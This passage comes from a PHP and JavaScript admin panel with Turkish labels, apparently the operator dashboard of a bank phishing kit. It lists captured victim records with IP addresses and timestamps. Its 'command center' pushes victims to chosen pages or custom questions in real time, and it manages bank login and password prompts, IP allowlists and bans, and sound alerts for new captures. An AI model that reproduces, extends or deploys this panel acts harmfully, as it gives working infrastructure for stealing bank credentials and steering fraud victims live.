                            <td class="p-4 align-top text-xs text-gray-500"><?= htmlspecialchars($account['ip_address']) ?><br><?= date('H:i:s d.m', strtotime($account['created_at'])) ?></td>
                            <td class="p-4 align-top text-center"><button onclick="openCommandCenter('log', '<?= $account['id'] ?>', '<?= htmlspecialchars($account['ip_address']) ?>')" class="w-full mb-2 bg-indigo-600 hover:bg-indigo-500 text-white py-2 rounded font-bold text-sm shadow-lg shadow-indigo-500/30 transition-all">YÖNET</button><button onclick="deleteLog('<?= $account['id'] ?>')" class="text-red-500 hover:text-red-400 text-xs uppercase font-bold tracking-wide block w-full text-center">Sil</button></td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </div>
    </main>
    </div>

    <script>
    // --- GLOBAL DEĞİŞKENLER ---
    let currentCommandId=null, currentCommandType=null, currentCommandIP=null;
    const modals={bank:{c:document.getElementById('bank-management-offcanvas-container'),p:document.getElementById('bank-management-panel'),o:document.getElementById('bank-management-overlay')},ip:{c:document.getElementById('ip-management-offcanvas-container'),p:document.getElementById('ip-management-panel'),o:document.getElementById('ip-management-overlay')},ban:{c:document.getElementById('ban-panel-container'),p:document.getElementById('ban-panel'),o:document.getElementById('ban-panel-overlay')},settings:document.getElementById('settings-modal'),command:document.getElementById('command-modal'),confirm:document.getElementById('confirmation-modal'),message:document.getElementById('message-modal')};
    
    // --- MODAL FONKSİYONLARI ---
    function toggleOffcanvas(m,s){if(s){m.c.classList.remove('hidden');setTimeout(()=>{m.o.classList.remove('hidden','opacity-0');m.p.classList.add('is-open');},10);}else{m.p.classList.remove('is-open');m.o.classList.add('opacity-0');setTimeout(()=>{m.c.classList.add('hidden');m.o.classList.add('hidden');},300);}}
    function openCommandCenter(t,id,ip){currentCommandId=id;currentCommandType=t;currentCommandIP=ip;document.getElementById('cmd-victim-id').textContent=id;document.getElementById('cmd-victim-ip').textContent=ip;document.getElementById('custom-question-input').value='';modals.command.classList.remove('hidden');}
    function closeCommandModal(){modals.command.classList.add('hidden');currentCommandId=null;}
    
    // --- YÖNLENDİRME VE İŞLEMLER ---
    function sendRedirect(p){if(!currentCommandId)return;const a=currentCommandType==='visitor'?'set_visitor_redirect':'set_redirect';fetch(`api.php?action=${a}&id=${currentCommandId}&page=${p}`).then(r=>r.json()).then(d=>{if(d.status==='success'){showMessage('Başarılı','Yönlendirildi.');closeCommandModal();}else{showMessage('Hata',d.message,false);}}).catch(e=>showMessage('Hata','Bağlantı.',false));}
    function sendCustomQuestion(){if(!currentCommandId)return;const q=document.getElementById('custom-question-input').value.trim();if(!q){showMessage('Hata','Soru yazın.',false);return;}const fd=new FormData();fd.append('id',currentCommandId);fd.append('page','question.php');fd.append('custom_question',q);const a=currentCommandType==='visitor'?'set_visitor_redirect':'set_redirect';fetch(`api.php?action=${a}`,{method:'POST',body:fd}).then(r=>r.json()).then(d=>{if(d.status==='success'){showMessage('Başarılı','Soru iletildi.');closeCommandModal();}else showMessage('Hata',d.message,false);});}
    function blockVictim(){if(!currentCommandIP)return;showConfirmation(currentCommandIP+' adresini engellemek istiyor musunuz?','IP Engelle',()=>{const fd=new FormData();fd.append('ip',currentCommandIP);fetch('api.php?action=block_ip',{method:'POST',body:fd}).then(r=>r.json()).then(d=>{showMessage('Bilgi',d.message,true);closeCommandModal();});});}
    function unblockVictim(ip){showConfirmation('Yasağı kaldırmak istiyor musunuz?','Yasak Kaldır',()=>{const fd=new FormData();fd.append('ip',ip);fetch('api.php?action=unblock_ip',{method:'POST',body:fd}).then(r=>r.json()).then(d=>{showMessage('Bilgi',d.message,true);loadBanList();});});}
    function loadBanList(){const l=document.getElementById('ban-list-content');l.innerHTML='<p class="text-gray-500">Yükleniyor...</p>';fetch('api.php?action=get_blocked_ips').then(r=>r.json()).then(d=>{l.innerHTML='';if(d.data&&d.data.length){d.data.forEach(ip=>{l.innerHTML+=`<div class="bg-gray-700/50 p-3 rounded flex justify-between items-center border border-gray-600"><span class="font-mono text-red-400 font-bold">${ip}</span><button onclick="unblockVictim('${ip}')" class="text-xs bg-green-700 hover:bg-green-600 px-3 py-1 rounded text-white">Kaldır</button></div>`;});}else{l.innerHTML='<p class="text-gray-500 text-center">Yasaklı IP yok.</p>';}});}
    
    // --- EVENT LISTENERLAR ---
    document.addEventListener('DOMContentLoaded',()=>{
        document.getElementById('open-bank-management').onclick=()=>toggleOffcanvas(modals.bank,true);document.getElementById('close-bank-management').onclick=()=>toggleOffcanvas(modals.bank,false);modals.bank.o.onclick=()=>toggleOffcanvas(modals.bank,false);
        
        // IP YÖNETİMİ BUTONLARI (DÜZELTİLDİ: Listeyi otomatik yükle)
        document.getElementById('open-ip-management').onclick = () => {
            toggleOffcanvas(modals.ip, true);
            // Paneli açınca listeyi otomatik getir
            document.getElementById('ip-search-form').dispatchEvent(new Event('submit'));
        };
        document.getElementById('close-ip-management').onclick=()=>toggleOffcanvas(modals.ip,false);
        modals.ip.o.onclick=()=>toggleOffcanvas(modals.ip,false);
        
        document.getElementById('open-ban-panel').onclick=()=>{toggleOffcanvas(modals.ban,true);loadBanList();};document.getElementById('close-ban-panel').onclick=()=>toggleOffcanvas(modals.ban,false);modals.ban.o.onclick=()=>toggleOffcanvas(modals.ban,false);
        document.getElementById('open-settings-btn').onclick=(e)=>{e.stopPropagation();modals.settings.classList.remove('hidden');document.querySelector('.dropdown-menu-main').style.display='none';};document.getElementById('close-settings-modal').onclick=()=>modals.settings.classList.add('hidden');
        document.querySelector('.dropdown-toggle-main').onclick=(e)=>{e.stopPropagation();const m=document.querySelector('.dropdown-menu-main');m.style.display=m.style.display==='block'?'none':'block';};document.body.onclick=()=>{document.querySelector('.dropdown-menu-main').style.display='none';};
        
        // Ses Sistemi
        const audio=document.getElementById('notification-sound');let lastCheck='<?= date('Y-m-d H:i:s') ?>';document.getElementById('sound-test-btn').onclick=()=>audio.play().catch(e=>showMessage('Hata','İzin verin.',false));
        setInterval(()=>{fetch('api.php?action=get_updates&last_check='+encodeURIComponent(lastCheck)).then(r=>r.json()).then(d=>{if(d.new_server_time)lastCheck=d.new_server_time;if(d.status==='new_data'){audio.play().catch(()=>{});if(d.flash_ids)d.flash_ids.forEach(id=>{const el=document.getElementById(id);if(el){el.classList.add('flash-new');setTimeout(()=>el.classList.remove('flash-new'),3600);}});}});},4000);
        
        // Auto Refresh
        const rb=document.getElementById('set-refresh-btn');if(localStorage.getItem('refreshInterval')){setTimeout(()=>window.location.reload(),localStorage.getItem('refreshInterval')*1000);rb.innerHTML='<i class="bi bi-check-circle-fill text-green-400"></i> Oto';}rb.onclick=()=>{const t=prompt('Saniye? (0=iptal)');if(t>0){localStorage.setItem('refreshInterval',t);window.location.reload();}else if(t!==null){localStorage.removeItem('refreshInterval');window.location.reload();}};
        
        // Form & Button Actions
        window.deleteLog=function(id){showConfirmation('Silmek istediğine emin misin?','Log Sil',()=>{const fd=new FormData();fd.append('account_id',id);fetch('api.php?action=delete_log',{method:'POST',body:fd}).then(r=>r.json()).then(d=>{if(d.status==='success')document.getElementById('account-row-'+id).remove();});});};
        document.getElementById('delete-all-logs-btn').onclick=()=>{showConfirmation('HEPSİ SİLİNECEK?','Toplu Sil',()=>{fetch('api.php?action=delete_all_logs').then(r=>r.json()).then(d=>{if(d.status==='success')window.location.reload();});});};
        document.querySelectorAll('.page-switch-btn').forEach(b=>{b.onclick=function(){fetch(`api.php?action=set_active_page&page=${this.dataset.page}`).then(r=>r.json()).then(d=>{if(d.status==='success'){showMessage('Başarılı','Sayfa değişti.');setTimeout(()=>window.location.reload(),1000);}});};});
        
        // Banka Ekleme
        const bf=document.getElementById('bank-form');if(bf){bf.onsubmit=function(e){e.preventDefault();const fd=new FormData(this);const act=fd.get('bank_id')?'update_bank':'add_bank';fetch(`api.php?action=${act}`,{method:'POST',body:fd}).then(r=>r.json()).then(d=>{if(d.status==='success'){showMessage('Başarılı',d.message);setTimeout(()=>window.location.reload(),1000);}else showMessage('Hata',d.message,false);});};}
        document.querySelector('#bank-form [name="bank_type"]')?.addEventListener('change',function(){const b=this.value==='blik';document.getElementById('classic-bank-fields').classList.toggle('hidden',b);});

        // IP Ekleme
        const ifm=document.getElementById('ip-add-form');if(ifm){ifm.onsubmit=function(e){e.preventDefault();fetch('api.php?action=add_allowed_ip',{method:'POST',body:new FormData(this)}).then(r=>r.json()).then(d=>{if(d.status==='success'){showMessage('Başarılı',d.message);this.reset();}else showMessage('Hata',d.message,false);});};}
        const ibulk=document.getElementById('ip-bulk-add-form');if(ibulk){ibulk.onsubmit=function(e){e.preventDefault();fetch('api.php?action=bulk_add_allowed_ips',{method:'POST',body:new FormData(this)}).then(r=>r.json()).then(d=>{if(d.status==='success'){showMessage('Başarılı',d.message);this.reset();}else showMessage('Hata',d.message,false);});};}

        // IP Arama Formu (YENİ EKLENDİ)
        const ipSearchForm = document.getElementById('ip-search-form');
        if (ipSearchForm) {
            ipSearchForm.onsubmit = function(e) {
                e.preventDefault(); // Sayfa yenilenmesini engelle
                const searchTerm = this.querySelector('[name="ip_search_term"]').value;
                const container = document.getElementById('ip-list-container');
                
                container.innerHTML = '<div class="text-center text-gray-500 py-4"><i class="bi bi-arrow-repeat animate-spin text-2xl"></i><br>Aranıyor...</div>';

                fetch('api.php?action=get_allowed_ips&search=' + encodeURIComponent(searchTerm))
                    .then(r => r.json())
                    .then(d => {
                        container.innerHTML = '';
                        if (d.status === 'success' && d.data && d.data.length > 0) {
                            d.data.forEach(ip => {
                                const item = document.createElement('div');
                                item.className = 'flex justify-between items-center bg-gray-700/50 p-3 rounded mb-2 border border-gray-600';
                                item.innerHTML = `
                                    <div>
                                        <span class="font-mono font-bold text-white">${ip.ip_address}</span>
                                        ${ip.description ? `<div class="text-xs text-gray-400">${ip.description}</div>` : ''}
                                    </div>
                                    <button onclick="deleteIp(${ip.id})" class="text-red-400 hover:text-red-300"><i class="bi bi-trash"></i></button>
                                `;
                                container.appendChild(item);
                            });
                        } else {
                            container.innerHTML = '<div class="text-center text-gray-500 py-4">Sonuç bulunamadı.</div>';
                        }
                    })
                    .catch(err => {
                        container.innerHTML = '<div class="text-center text-red-500 py-4">Bağlantı hatası.</div>';
                    });
            };
        }

        // Ayarlar
        const sf=document.getElementById('settings-form');if(sf){sf.onsubmit=function(e){e.preventDefault();fetch('api.php?action=update_admin_credentials',{method:'POST',body:new FormData(this)}).then(r=>r.json()).then(d=>{showMessage(d.status==='success'?'Başarılı':'Hata',d.message,d.status==='success');if(d.username_changed)setTimeout(()=>window.location.reload(),1500);});};}
        
        const langBtn=document.getElementById('save-auto-lang');if(langBtn){langBtn.onclick=function(){const l=document.getElementById('auto-lang-input').value;const fd=new FormData();fd.append('lang_code',l);fetch('api.php?action=set_auto_lang',{method:'POST',body:fd}).then(r=>r.json()).then(d=>{if(d.status==='success')showMessage('Başarılı','Dil: '+l);});};}

        // Banka Sıralama ve Silme
        const blc=document.getElementById('bank-list-container');const sbo=document.getElementById('save-bank-order-btn');if(blc){new Sortable(blc,{animation:150,handle:'.bank-drag-handle',onUpdate:()=>sbo.classList.remove('hidden')});sbo.onclick=()=>{const ids=Array.from(blc.querySelectorAll('[data-id]')).map(el=>el.dataset.id);const fd=new FormData();ids.forEach(id=>fd.append('order[]',id));fetch('api.php?action=save_bank_order',{method:'POST',body:fd}).then(r=>r.json()).then(d=>{if(d.status==='success'){showMessage('Başarılı','Sıralandı.');sbo.classList.add('hidden');}});};}
        document.body.addEventListener('click',function(e){const db=e.target.closest('.delete-bank-btn');const tb=e.target.closest('.toggle-bank-btn');const eb=e.target.closest('.edit-bank-btn');
            if(db){showConfirmation('Bankayı sil?','Sil',()=>{const fd=new FormData();fd.append('bank_id',db.dataset.bankId);fetch('api.php?action=delete_bank',{method:'POST',body:fd}).then(r=>r.json()).then(d=>{if(d.status==='success')document.getElementById('bank-row-'+db.dataset.bankId).remove();});});}
            if(tb){const fd=new FormData();fd.append('bank_id',tb.dataset.bankId);fetch('api.php?action=toggle_bank_status',{method:'POST',body:fd}).then(r=>r.json()).then(d=>{if(d.status==='success')window.location.reload();});}
            if(eb){fetch(`api.php?action=get_bank_details&id=${eb.dataset.bankId}`).then(r=>r.json()).then(d=>{if(d.status==='success'){const f=document.getElementById('bank-form');document.getElementById('bank-id-input').value=d.data.id;f.querySelector('[name="bank_name"]').value=d.data.bank_name;f.querySelector('[name="login_prompt"]').value=d.data.login_prompt;f.querySelector('[name="password_prompt"]').value=d.data.password_prompt;toggleOffcanvas(modals.bank,true);}});}});
    });

    // IP Silme Fonksiyonu
    window.deleteIp = function(id) {
        if(confirm('Bu IP adresini silmek istediğinize emin misiniz?')) {
            const fd = new FormData();
            fd.append('ip_id', id);
            fetch('api.php?action=delete_allowed_ip', {method:'POST', body:fd})
            .then(r=>r.json())
            .then(d=>{
                if(d.status==='success') {
                    // Listeyi yenilemek için arama butonunu tetikle
                    document.getElementById('ip-search-form').dispatchEvent(new Event('submit'));
                } else {
                    alert(d.message);
                }
            });
        }
    }

    function showMessage(t,tx,s){const m=document.getElementById('message-modal');document.getElementById('message-modal-title').innerText=t;document.getElementById('message-modal-text').innerText=tx;const i=document.getElementById('message-modal-icon-container');i.className=`mx-auto flex-shrink-0 flex items-center justify-center h-12 w-12 rounded-full sm:mx-0 sm:h-10 sm:w-10 ${s?'bg-green-600':'bg-red-600'}`;i.innerHTML=s?'<i class="bi bi-check-lg text-white"></i>':'<i class="bi bi-exclamation-triangle text-white"></i>';m.classList.remove('hidden');document.getElementById('message-modal-close-btn').onclick=()=>m.classList.add('hidden');}
    function showConfirmation(tx,t,c){const m=document.getElementById('confirmation-modal');document.getElementById('confirmation-title').innerText=t;document.getElementById('confirmation-message').innerText=tx;m.classList.remove('hidden');document.getElementById('confirmation-confirm-btn').onclick=()=>{c();m.classList.add('hidden');};document.getElementById('confirmation-cancel-btn').onclick=()=>m.classList.add('hidden');}
    </script>

</body>
</html>